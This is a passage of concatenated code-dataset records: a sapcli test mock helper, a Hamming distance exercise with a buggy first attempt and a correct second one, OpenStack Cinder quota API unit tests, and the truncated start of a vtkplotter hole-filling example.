session, method, url, params=None, headers=None, body=None):\n req = Request(method, url, headers, body, params)\n self.execs.append(req)\n\n res = next(self._resp_iter)\n if res is None:\n res = next(ok_responses())\n\n if isinstance(res, tuple):\n exp_request = res[1]\n res = res[0]\n\n full_uri = self._build_adt_url(exp_request.adt_uri)\n exp_request = exp_request.clone_with_uri(full_uri)\n\n exp_request.assertEqual(req, self.asserter)\n\n return (req, res)\n\n def mock_methods(self):\n return [(e.method, e.adt_uri) for e in self.execs]\n\n def get_collection_types(self, basepath, default_mimetype):\n\n if self.collections is None:\n return [default_mimetype]\n\n return self.collections[f'/{self._adt_uri}/{basepath}']\n\n\nclass BufferConsole(sap.cli.core.PrintConsole):\n\n def __init__(self):\n self.std_output = StringIO()\n self.err_output = StringIO()\n\n super(BufferConsole, self).__init__(out_file=self.std_output, err_file=self.err_output)\n\n @property\n def capout(self):\n return self.std_output.getvalue()\n\n @property\n def caperr(self):\n return self.err_output.getvalue()\n\n\ndef patch_get_print_console_with_buffer():\n \"\"\"Capture output printed out by sapcli.\n\n with patch_print_console_with_buffer() as fake_get_console:\n sap.cli.core.printout('Test!')\n sap.cli.core.printout('Yet another Test!')\n\n self.assertEqual(fake_get_console.return_value.std_output, 'Test!\\nYet another Test!\\n')\n \"\"\"\n\n return patch('sap.cli.core.get_console', return_value=BufferConsole())\n\n\nclass GroupArgumentParser:\n\n def __init__(self, group_class):\n self._group = group_class()\n self._parser = ArgumentParser()\n self._group.install_parser(self._parser)\n\n def parse(self, *argv):\n return self._parser.parse_args(argv)\n\n\nclass PatcherTestCase:\n\n def patch(self, spec, **kwargs):\n if not hasattr(self, '_patchers'):\n self._patchers = {}\n\n if spec in self._patchers:\n raise RuntimeError('Cannot patch patched %s' % (spec))\n\n patcher = patch(spec, **kwargs)\n self._patchers[spec] = patcher\n return patcher.__enter__()\n\n def patch_console(self, console=None):\n if console is None:\n console = BufferConsole()\n\n return self.patch('sap.cli.core.get_console', return_value=console)\n\n def tearDown(self):\n print('Patcher tear down')\n\n if not hasattr(self, '_patchers'):\n return\n\n for patcher in self._patchers.values():\n patcher.__exit__(None, None, None)\n\n\nclass ConsoleOutputTestCase(unittest.TestCase):\n\n def setUp(self):\n self.console = BufferConsole()\n\n def assertEmptyConsole(self, console,):\n self.assertEqual(console.capout, '')\n self.assertEqual(console.caperr, '')\n\n def assertConsoleContents(self, console, stdout='', stderr=''):\n self.assertEqual(console.capout, stdout)\n self.assertEqual(console.caperr, stderr)\n","sub_path":"test/unit/mock.py","file_name":"mock.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"404100953","text":"class Solution():\n def distance(self,x,y):\n count=0\n x,y=bin(x),bin(y)\n print('zheli',x,y)\n m,n=len(x[2:]),len(y[2:])\n print('here',m,n)\n for i in range(m): #i 和j都为字符串需要转话成整型\n for j in range(n):\n if x[i]==y[j] and i!=j:\n print(i,j)\n count+=1\n else:\n continue\n return count\nx,y=1,4\ntest=Solution()\nresult=test.distance(x,y)\nprint(result)\n\n\n#-----------------------------------------------\nclass Solution:\n def hammingDistance(self, x, y):\n xor = x ^ y\n print(xor)\n distance = 0\n while xor:\n distance += 1\n # remove the rightmost bit of '1'\n xor = xor & (xor - 1)\n return distance\nx,y=1,4\ntest=Solution()\nresult=test.hammingDistance(x,y)\nprint(result)\n\n\n\n","sub_path":"汉明距离.py","file_name":"汉明距离.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"612188795","text":"#\n# Copyright 2013 OpenStack Foundation\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nTests for cinder.api.contrib.quotas.py\n\"\"\"\n\n\nimport mock\n\nfrom lxml import etree\n\nimport uuid\nimport webob.exc\n\nfrom cinder.api.contrib import quotas\nfrom cinder import context\nfrom cinder import db\nfrom cinder import quota\nfrom cinder import test\nfrom cinder.tests.unit import test_db_api\n\nfrom keystonemiddleware import auth_token\nfrom oslo_config import cfg\nfrom oslo_config import fixture as config_fixture\n\n\nCONF = cfg.CONF\n\n\ndef make_body(root=True, gigabytes=1000, snapshots=10,\n volumes=10, backups=10, backup_gigabytes=1000,\n tenant_id='foo', per_volume_gigabytes=-1, is_child=False):\n resources = {'gigabytes': gigabytes,\n 'snapshots': snapshots,\n 'volumes': volumes,\n 'backups': backups,\n 'backup_gigabytes': backup_gigabytes,\n 'per_volume_gigabytes': per_volume_gigabytes, }\n # need to consider preexisting volume types as well\n volume_types = db.volume_type_get_all(context.get_admin_context())\n\n if not is_child:\n for volume_type in volume_types:\n resources['gigabytes_' + volume_type] = -1\n resources['snapshots_' + volume_type] = -1\n resources['volumes_' + volume_type] = -1\n elif per_volume_gigabytes < 0:\n # In the case that we're dealing with a child project, we aren't\n # allowing -1 limits for the time being, so hack this to some large\n # enough value for the tests that it's essentially unlimited\n # TODO(mc_nair): remove when -1 limits for child projects are allowed\n resources['per_volume_gigabytes'] = 10000\n\n if tenant_id:\n resources['id'] = tenant_id\n if root:\n result = {'quota_set': resources}\n else:\n result = resources\n return result\n\n\ndef make_subproject_body(root=True, gigabytes=0, snapshots=0,\n volumes=0, backups=0, backup_gigabytes=0,\n tenant_id='foo', per_volume_gigabytes=0):\n return make_body(root=root, gigabytes=gigabytes, snapshots=snapshots,\n volumes=volumes, backups=backups,\n backup_gigabytes=backup_gigabytes, tenant_id=tenant_id,\n per_volume_gigabytes=per_volume_gigabytes)\n\n\nclass QuotaSetsControllerTestBase(test.TestCase):\n\n class FakeProject(object):\n\n def __init__(self, id='foo', parent_id=None):\n self.id = id\n self.parent_id = parent_id\n self.subtree = None\n\n def setUp(self):\n super(QuotaSetsControllerTestBase, self).setUp()\n\n self.controller = quotas.QuotaSetsController()\n\n self.req = mock.Mock()\n self.req.environ = {'cinder.context': context.get_admin_context()}\n self.req.environ['cinder.context'].is_admin = True\n self.req.params = {}\n\n self._create_project_hierarchy()\n\n get_patcher = mock.patch('cinder.quota_utils.get_project_hierarchy',\n self._get_project)\n get_patcher.start()\n self.addCleanup(get_patcher.stop)\n\n def _list_projects(context):\n return self.project_by_id.values()\n\n list_patcher = mock.patch('cinder.quota_utils.get_all_projects',\n _list_projects)\n list_patcher.start()\n self.addCleanup(list_patcher.stop)\n\n self.auth_url = 'http://localhost:5000'\n self.fixture = self.useFixture(config_fixture.Config(auth_token.CONF))\n self.fixture.config(auth_uri=self.auth_url, group='keystone_authtoken')\n\n def _create_project_hierarchy(self):\n \"\"\"Sets an environment used for nested quotas tests.\n\n Create a project hierarchy such as follows:\n +-----------+\n | |\n | A |\n | / \\ |\n | B C |\n | / |\n | D |\n +-----------+\n \"\"\"\n self.A = self.FakeProject(id=uuid.uuid4().hex, parent_id=None)\n self.B = self.FakeProject(id=uuid.uuid4().hex, parent_id=self.A.id)\n self.C = self.FakeProject(id=uuid.uuid4().hex, parent_id=self.A.id)\n self.D = self.FakeProject(id=uuid.uuid4().hex, parent_id=self.B.id)\n\n # update projects subtrees\n self.B.subtree = {self.D.id: self.D.subtree}\n self.A.subtree = {self.B.id: self.B.subtree, self.C.id: self.C.subtree}\n\n # project_by_id attribute is used to recover a project based on its id.\n self.project_by_id = {self.A.id: self.A, self.B.id: self.B,\n self.C.id: self.C, self.D.id: self.D}\n\n def _get_project(self, context, id, subtree_as_ids=False):\n return self.project_by_id.get(id, self.FakeProject())\n\n\nclass QuotaSetsControllerTest(QuotaSetsControllerTestBase):\n def setUp(self):\n super(QuotaSetsControllerTest, self).setUp()\n fixture = self.useFixture(config_fixture.Config(quota.CONF))\n fixture.config(quota_driver=\"cinder.quota.DbQuotaDriver\")\n quotas.QUOTAS = quota.VolumeTypeQuotaEngine()\n self.controller = quotas.QuotaSetsController()\n\n def test_defaults(self):\n result = self.controller.defaults(self.req, 'foo')\n self.assertDictMatch(make_body(), result)\n\n def test_show(self):\n result = self.controller.show(self.req, 'foo')\n self.assertDictMatch(make_body(), result)\n\n def test_show_not_authorized(self):\n self.req.environ['cinder.context'].is_admin = False\n self.req.environ['cinder.context'].user_id = 'bad_user'\n self.req.environ['cinder.context'].project_id = 'bad_project'\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.show,\n self.req, 'foo')\n\n def test_show_non_admin_user(self):\n self.controller._get_quotas = mock.Mock(side_effect=\n self.controller._get_quotas)\n result = self.controller.show(self.req, 'foo')\n self.assertDictMatch(make_body(), result)\n self.controller._get_quotas.assert_called_with(\n self.req.environ['cinder.context'], 'foo', False)\n\n def test_update(self):\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n result = self.controller.update(self.req, 'foo', body)\n self.assertDictMatch(body, result)\n\n body = make_body(gigabytes=db.MAX_INT, tenant_id=None)\n result = self.controller.update(self.req, 'foo', body)\n self.assertDictMatch(body, result)\n\n def test_update_subproject_not_in_hierarchy_non_nested(self):\n # When not using nested quotas, the hierarchy should not be considered\n # for an update\n E = self.FakeProject(id=uuid.uuid4().hex, parent_id=None)\n F = self.FakeProject(id=uuid.uuid4().hex, parent_id=E.id)\n E.subtree = {F.id: F.subtree}\n self.project_by_id[E.id] = E\n self.project_by_id[F.id] = F\n\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n result = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result)\n # Try to update the quota of F, it will be allowed even though\n # project E doesn't belong to the project hierarchy of A, because\n # we are NOT using the nested quota driver\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n self.controller.update(self.req, F.id, body)\n\n @mock.patch(\n 'cinder.api.openstack.wsgi.Controller.validate_string_length')\n @mock.patch(\n 'cinder.api.openstack.wsgi.Controller.validate_integer')\n def test_update_limit(self, mock_validate_integer, mock_validate):\n mock_validate_integer.return_value = 10\n\n body = {'quota_set': {'volumes': 10}}\n result = self.controller.update(self.req, 'foo', body)\n\n self.assertEqual(10, result['quota_set']['volumes'])\n self.assertTrue(mock_validate.called)\n self.assertTrue(mock_validate_integer.called)\n\n def test_update_wrong_key(self):\n body = {'quota_set': {'bad': 'bad'}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_invalid_value_key_value(self):\n body = {'quota_set': {'gigabytes': \"should_be_int\"}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_invalid_type_key_value(self):\n body = {'quota_set': {'gigabytes': None}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_multi_value_with_bad_data(self):\n orig_quota = self.controller.show(self.req, 'foo')\n body = make_body(gigabytes=2000, snapshots=15, volumes=\"should_be_int\",\n backups=5, tenant_id=None)\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n # Verify that quota values are not updated in db\n new_quota = self.controller.show(self.req, 'foo')\n self.assertDictMatch(orig_quota, new_quota)\n\n def test_update_bad_quota_limit(self):\n body = {'quota_set': {'gigabytes': -1000}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n body = {'quota_set': {'gigabytes': db.MAX_INT + 1}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_no_admin(self):\n self.req.environ['cinder.context'].is_admin = False\n self.req.environ['cinder.context'].project_id = 'foo'\n self.req.environ['cinder.context'].user_id = 'foo_user'\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.update,\n self.req, 'foo', make_body(tenant_id=None))\n\n def test_update_without_quota_set_field(self):\n body = {'fake_quota_set': {'gigabytes': 100}}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_empty_body(self):\n body = {}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def _commit_quota_reservation(self):\n # Create simple quota and quota usage.\n ctxt = context.get_admin_context()\n res = test_db_api._quota_reserve(ctxt, 'foo')\n db.reservation_commit(ctxt, res, 'foo')\n expected = {'project_id': 'foo',\n 'volumes': {'reserved': 0, 'in_use': 1},\n 'gigabytes': {'reserved': 0, 'in_use': 2},\n }\n self.assertEqual(expected,\n db.quota_usage_get_all_by_project(ctxt, 'foo'))\n\n def test_update_lower_than_existing_resources_when_skip_false(self):\n self._commit_quota_reservation()\n body = {'quota_set': {'volumes': 0},\n 'skip_validation': 'false'}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n body = {'quota_set': {'gigabytes': 1},\n 'skip_validation': 'false'}\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, 'foo', body)\n\n def test_update_lower_than_existing_resources_when_skip_true(self):\n self._commit_quota_reservation()\n body = {'quota_set': {'volumes': 0},\n 'skip_validation': 'true'}\n result = self.controller.update(self.req, 'foo', body)\n self.assertEqual(body['quota_set']['volumes'],\n result['quota_set']['volumes'])\n\n def test_update_lower_than_existing_resources_without_skip_argument(self):\n self._commit_quota_reservation()\n body = {'quota_set': {'volumes': 0}}\n result = self.controller.update(self.req, 'foo', body)\n self.assertEqual(body['quota_set']['volumes'],\n result['quota_set']['volumes'])\n\n def test_delete(self):\n result_show = self.controller.show(self.req, 'foo')\n self.assertDictMatch(make_body(), result_show)\n\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5,\n backup_gigabytes=1000, tenant_id=None)\n result_update = self.controller.update(self.req, 'foo', body)\n self.assertDictMatch(body, result_update)\n\n self.controller.delete(self.req, 'foo')\n\n result_show_after = self.controller.show(self.req, 'foo')\n self.assertDictMatch(result_show, result_show_after)\n\n def test_delete_with_allocated_quota_different_from_zero(self):\n self.req.environ['cinder.context'].project_id = self.A.id\n\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5,\n backup_gigabytes=1000, tenant_id=None)\n result_update = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result_update)\n\n # Set usage param to True in order to see get allocated values.\n self.req.params = {'usage': 'True'}\n result_show = self.controller.show(self.req, self.A.id)\n\n result_update = self.controller.update(self.req, self.B.id, body)\n self.assertDictMatch(body, result_update)\n\n self.controller.delete(self.req, self.B.id)\n\n result_show_after = self.controller.show(self.req, self.A.id)\n self.assertDictMatch(result_show, result_show_after)\n\n def test_delete_no_admin(self):\n self.req.environ['cinder.context'].is_admin = False\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.delete,\n self.req, 'foo')\n\n def test_subproject_show_not_using_nested_quotas(self):\n # Current roles say for non-nested quotas, an admin should be able to\n # see anyones quota\n self.req.environ['cinder.context'].project_id = self.B.id\n self.controller.show(self.req, self.C.id)\n self.controller.show(self.req, self.A.id)\n\n\nclass QuotaSetControllerValidateNestedQuotaSetup(QuotaSetsControllerTestBase):\n \"\"\"Validates the setup before using NestedQuota driver.\n\n Test case validates flipping on NestedQuota driver after using the\n non-nested quota driver for some time.\n \"\"\"\n\n def _create_project_hierarchy(self):\n \"\"\"Sets an environment used for nested quotas tests.\n\n Create a project hierarchy such as follows:\n +-----------------+\n | |\n | A G E |\n | / \\ \\ |\n | B C F |\n | / |\n | D |\n +-----------------+\n \"\"\"\n super(QuotaSetControllerValidateNestedQuotaSetup,\n self)._create_project_hierarchy()\n # Project A, B, C, D are already defined by parent test class\n self.E = self.FakeProject(id=uuid.uuid4().hex, parent_id=None)\n self.F = self.FakeProject(id=uuid.uuid4().hex, parent_id=self.E.id)\n self.G = self.FakeProject(id=uuid.uuid4().hex, parent_id=None)\n\n self.E.subtree = {self.F.id: self.F.subtree}\n\n self.project_by_id.update({self.E.id: self.E, self.F.id: self.F,\n self.G.id: self.G})\n\n def test_validate_nested_quotas_no_in_use_vols(self):\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n quota = {'volumes': 5}\n body = {'quota_set': quota}\n self.controller.update(self.req, self.A.id, body)\n\n quota['volumes'] = 3\n self.controller.update(self.req, self.B.id, body)\n # Allocated value for quota A is borked, because update was done\n # without nested quota driver\n self.assertRaises(webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n # Fix the allocated values in DB\n self.req.params['fix_allocated_quotas'] = True\n self.controller.validate_setup_for_nested_quota_use(\n self.req)\n\n self.req.params['fix_allocated_quotas'] = False\n # Ensure that we've properly fixed the allocated quotas\n self.controller.validate_setup_for_nested_quota_use(self.req)\n\n # Over-allocate the quotas between children\n self.controller.update(self.req, self.C.id, body)\n\n # This is we should fail because the child limits are too big\n self.assertRaises(webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n quota['volumes'] = 1\n self.controller.update(self.req, self.C.id, body)\n\n # Make sure we're validating all hierarchy trees\n self.req.environ['cinder.context'].project_id = self.E.id\n quota['volumes'] = 1\n self.controller.update(self.req, self.E.id, body)\n quota['volumes'] = 3\n self.controller.update(self.req, self.F.id, body)\n\n self.assertRaises(\n webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n # Put quotas in a good state\n quota['volumes'] = 1\n self.controller.update(self.req, self.F.id, body)\n self.req.params['fix_allocated_quotas'] = True\n self.controller.validate_setup_for_nested_quota_use(self.req)\n\n def _fake_quota_usage_get_all_by_project(self, context, project_id):\n proj_vals = {\n self.A.id: {'in_use': 1},\n self.B.id: {'in_use': 1},\n self.D.id: {'in_use': 0},\n self.C.id: {'in_use': 3},\n self.E.id: {'in_use': 0},\n self.F.id: {'in_use': 0},\n self.G.id: {'in_use': 0},\n }\n return {'volumes': proj_vals[project_id]}\n\n @mock.patch('cinder.db.quota_usage_get_all_by_project')\n def test_validate_nested_quotas_in_use_vols(self, mock_usage):\n mock_usage.side_effect = self._fake_quota_usage_get_all_by_project\n\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n quota_limit = {'volumes': 7}\n body = {'quota_set': quota_limit}\n self.controller.update(self.req, self.A.id, body)\n\n quota_limit['volumes'] = 3\n self.controller.update(self.req, self.B.id, body)\n\n quota_limit['volumes'] = 3\n self.controller.update(self.req, self.C.id, body)\n\n self.req.params['fix_allocated_quotas'] = True\n self.controller.validate_setup_for_nested_quota_use(self.req)\n\n quota_limit['volumes'] = 6\n self.controller.update(self.req, self.A.id, body)\n\n # Should fail because the one in_use volume of 'A'\n self.assertRaises(\n webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n @mock.patch('cinder.db.quota_usage_get_all_by_project')\n def test_validate_nested_quotas_quota_borked(self, mock_usage):\n mock_usage.side_effect = self._fake_quota_usage_get_all_by_project\n\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n quota_limit = {'volumes': 7}\n body = {'quota_set': quota_limit}\n self.controller.update(self.req, self.A.id, body)\n\n # Other quotas would default to 0 but already have some limit being\n # used\n self.assertRaises(\n webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n def test_validate_nested_quota_negative_limits(self):\n # When we're validating, update the allocated values since we've\n # been updating child limits\n self.req.params['fix_allocated_quotas'] = True\n self.controller.validate_setup_for_nested_quota_use(self.req)\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n quota_limit = {'volumes': -1}\n body = {'quota_set': quota_limit}\n self.controller.update(self.req, self.A.id, body)\n\n quota_limit['volumes'] = 4\n self.controller.update(self.req, self.B.id, body)\n\n self.controller.validate_setup_for_nested_quota_use(self.req)\n\n quota_limit['volumes'] = -1\n self.controller.update(self.req, self.F.id, body)\n # Should not work because can't have a child with negative limits\n self.assertRaises(\n webob.exc.HTTPBadRequest,\n self.controller.validate_setup_for_nested_quota_use,\n self.req)\n\n\nclass QuotaSetsControllerNestedQuotasTest(QuotaSetsControllerTestBase):\n def setUp(self):\n super(QuotaSetsControllerNestedQuotasTest, self).setUp()\n fixture = self.useFixture(config_fixture.Config(quota.CONF))\n fixture.config(quota_driver=\"cinder.quota.NestedDbQuotaDriver\")\n quotas.QUOTAS = quota.VolumeTypeQuotaEngine()\n self.controller = quotas.QuotaSetsController()\n\n def test_subproject_defaults(self):\n context = self.req.environ['cinder.context']\n context.project_id = self.B.id\n result = self.controller.defaults(self.req, self.B.id)\n expected = make_subproject_body(tenant_id=self.B.id)\n self.assertDictMatch(expected, result)\n\n def test_subproject_show(self):\n self.req.environ['cinder.context'].project_id = self.A.id\n result = self.controller.show(self.req, self.B.id)\n expected = make_subproject_body(tenant_id=self.B.id)\n self.assertDictMatch(expected, result)\n\n def test_subproject_show_in_hierarchy(self):\n # A user scoped to a root project in a hierarchy can see its children\n # quotas.\n self.req.environ['cinder.context'].project_id = self.A.id\n result = self.controller.show(self.req, self.D.id)\n expected = make_subproject_body(tenant_id=self.D.id)\n self.assertDictMatch(expected, result)\n # A user scoped to a parent project can see its immediate children\n # quotas.\n self.req.environ['cinder.context'].project_id = self.B.id\n result = self.controller.show(self.req, self.D.id)\n expected = make_subproject_body(tenant_id=self.D.id)\n self.assertDictMatch(expected, result)\n\n def test_subproject_show_target_project_equals_to_context_project(\n self):\n self.req.environ['cinder.context'].project_id = self.B.id\n result = self.controller.show(self.req, self.B.id)\n expected = make_subproject_body(tenant_id=self.B.id)\n self.assertDictMatch(expected, result)\n\n def test_subproject_show_not_authorized(self):\n self.req.environ['cinder.context'].project_id = self.B.id\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.show,\n self.req, self.C.id)\n self.req.environ['cinder.context'].project_id = self.B.id\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.show,\n self.req, self.A.id)\n\n def test_update_subproject_not_in_hierarchy(self):\n\n # Create another project hierarchy\n E = self.FakeProject(id=uuid.uuid4().hex, parent_id=None)\n F = self.FakeProject(id=uuid.uuid4().hex, parent_id=E.id)\n E.subtree = {F.id: F.subtree}\n self.project_by_id[E.id] = E\n self.project_by_id[F.id] = F\n\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n result = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result)\n # Try to update the quota of F, it will not be allowed, since the\n # project E doesn't belongs to the project hierarchy of A.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n self.assertRaises(webob.exc.HTTPForbidden,\n self.controller.update, self.req, F.id, body)\n\n def test_update_subproject(self):\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n result = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result)\n # Update the quota of B to be equal to its parent quota\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None, is_child=True)\n result = self.controller.update(self.req, self.B.id, body)\n self.assertDictMatch(body, result)\n # Try to update the quota of C, it will not be allowed, since the\n # project A doesn't have free quota available.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None, is_child=True)\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.update,\n self.req, self.C.id, body)\n # Successfully update the quota of D.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=1000, snapshots=7,\n volumes=3, backups=3, tenant_id=None, is_child=True)\n result = self.controller.update(self.req, self.D.id, body)\n self.assertDictMatch(body, result)\n # An admin of B can also update the quota of D, since D is its\n # immediate child.\n self.req.environ['cinder.context'].project_id = self.B.id\n body = make_body(gigabytes=1500, snapshots=10,\n volumes=4, backups=4, tenant_id=None, is_child=True)\n self.controller.update(self.req, self.D.id, body)\n\n def test_update_subproject_negative_limit(self):\n # Should not be able to set a negative limit for a child project (will\n # require further fixes to allow for this)\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(volumes=-1, is_child=True)\n self.assertRaises(webob.exc.HTTPBadRequest,\n self.controller.update, self.req, self.B.id, body)\n\n def test_update_subproject_repetitive(self):\n # Update the project A volumes quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=10, backups=5, tenant_id=None)\n result = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result)\n # Update the quota of B to be equal to its parent quota\n # three times should be successful, the quota will not be\n # allocated to 'allocated' value of parent project\n for i in range(0, 3):\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=10, backups=5, tenant_id=None,\n is_child=True)\n result = self.controller.update(self.req, self.B.id, body)\n self.assertDictMatch(body, result)\n\n def test_update_subproject_with_not_root_context_project(self):\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n result = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result)\n # Try to update the quota of B, it will not be allowed, since the\n # project in the context (B) is not a root project.\n self.req.environ['cinder.context'].project_id = self.B.id\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5, tenant_id=None)\n self.assertRaises(webob.exc.HTTPForbidden, self.controller.update,\n self.req, self.B.id, body)\n\n def test_update_subproject_quota_when_parent_has_default_quotas(self):\n # Since the quotas of the project A were not updated, it will have\n # default quotas.\n self.req.environ['cinder.context'].project_id = self.A.id\n # Update the project B quota.\n expected = make_body(gigabytes=1000, snapshots=10,\n volumes=5, backups=5, tenant_id=None,\n is_child=True)\n result = self.controller.update(self.req, self.B.id, expected)\n self.assertDictMatch(expected, result)\n\n def test_subproject_delete(self):\n self.req.environ['cinder.context'].project_id = self.A.id\n\n body = make_body(gigabytes=2000, snapshots=15,\n volumes=5, backups=5,\n backup_gigabytes=1000, tenant_id=None, is_child=True)\n result_update = self.controller.update(self.req, self.A.id, body)\n self.assertDictMatch(body, result_update)\n\n # Set usage param to True in order to see get allocated values.\n self.req.params = {'usage': 'True'}\n result_show = self.controller.show(self.req, self.A.id)\n\n result_update = self.controller.update(self.req, self.B.id, body)\n self.assertDictMatch(body, result_update)\n\n self.controller.delete(self.req, self.B.id)\n\n result_show_after = self.controller.show(self.req, self.A.id)\n self.assertDictMatch(result_show, result_show_after)\n\n def test_subproject_delete_not_considering_default_quotas(self):\n \"\"\"Test delete subprojects' quotas won't consider default quotas.\n\n Test plan:\n - Update the volume quotas of project A\n - Update the volume quotas of project B\n - Delete the quotas of project B\n\n Resources with default quotas aren't expected to be considered when\n updating the allocated values of the parent project. Thus, the delete\n operation should succeed.\n \"\"\"\n self.req.environ['cinder.context'].project_id = self.A.id\n\n body = {'quota_set': {'volumes': 5}}\n result = self.controller.update(self.req, self.A.id, body)\n self.assertEqual(body['quota_set']['volumes'],\n result['quota_set']['volumes'])\n\n body = {'quota_set': {'volumes': 2}}\n result = self.controller.update(self.req, self.B.id, body)\n self.assertEqual(body['quota_set']['volumes'],\n result['quota_set']['volumes'])\n\n self.controller.delete(self.req, self.B.id)\n\n def test_subproject_delete_with_child_present(self):\n # Update the project A quota.\n self.req.environ['cinder.context'].project_id = self.A.id\n body = make_body(volumes=5)\n self.controller.update(self.req, self.A.id, body)\n\n # Allocate some of that quota to a child project\n body = make_body(volumes=3, is_child=True)\n self.controller.update(self.req, self.B.id, body)\n\n # Deleting 'A' should be disallowed since 'B' is using some of that\n # quota\n self.assertRaises(webob.exc.HTTPBadRequest, self.controller.delete,\n self.req, self.A.id)\n\n\nclass QuotaSerializerTest(test.TestCase):\n\n def setUp(self):\n super(QuotaSerializerTest, self).setUp()\n self.req = mock.Mock()\n self.req.environ = {'cinder.context': context.get_admin_context()}\n\n def test_update_serializer(self):\n serializer = quotas.QuotaTemplate()\n quota_set = make_body(root=False)\n text = serializer.serialize({'quota_set': quota_set})\n tree = etree.fromstring(text)\n self.assertEqual('quota_set', tree.tag)\n self.assertEqual(quota_set['id'], tree.get('id'))\n body = make_body(root=False, tenant_id=None)\n for node in tree:\n self.assertIn(node.tag, body)\n self.assertEqual(str(body[node.tag]), node.text)\n","sub_path":"cinder/tests/unit/api/contrib/test_quotas.py","file_name":"test_quotas.py","file_ext":"py","file_size_in_byte":33411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"47853192","text":"#Identifies and fills holes in input mesh. \n#Holes are identified by locating boundary edges, linking them together into loops, \n#and then triangulating the resulting loops.\n#size: approximate limit to the size of the hole that can be filled.\n#\nfrom vtkplotter import fillHoles, load, show\n\na = load('data/shapes/bunny.obj')\n\nb = fillHoles(a, size=0.1).color('b').wire(True).legend('filled mesh')\n\nshow([a,b], 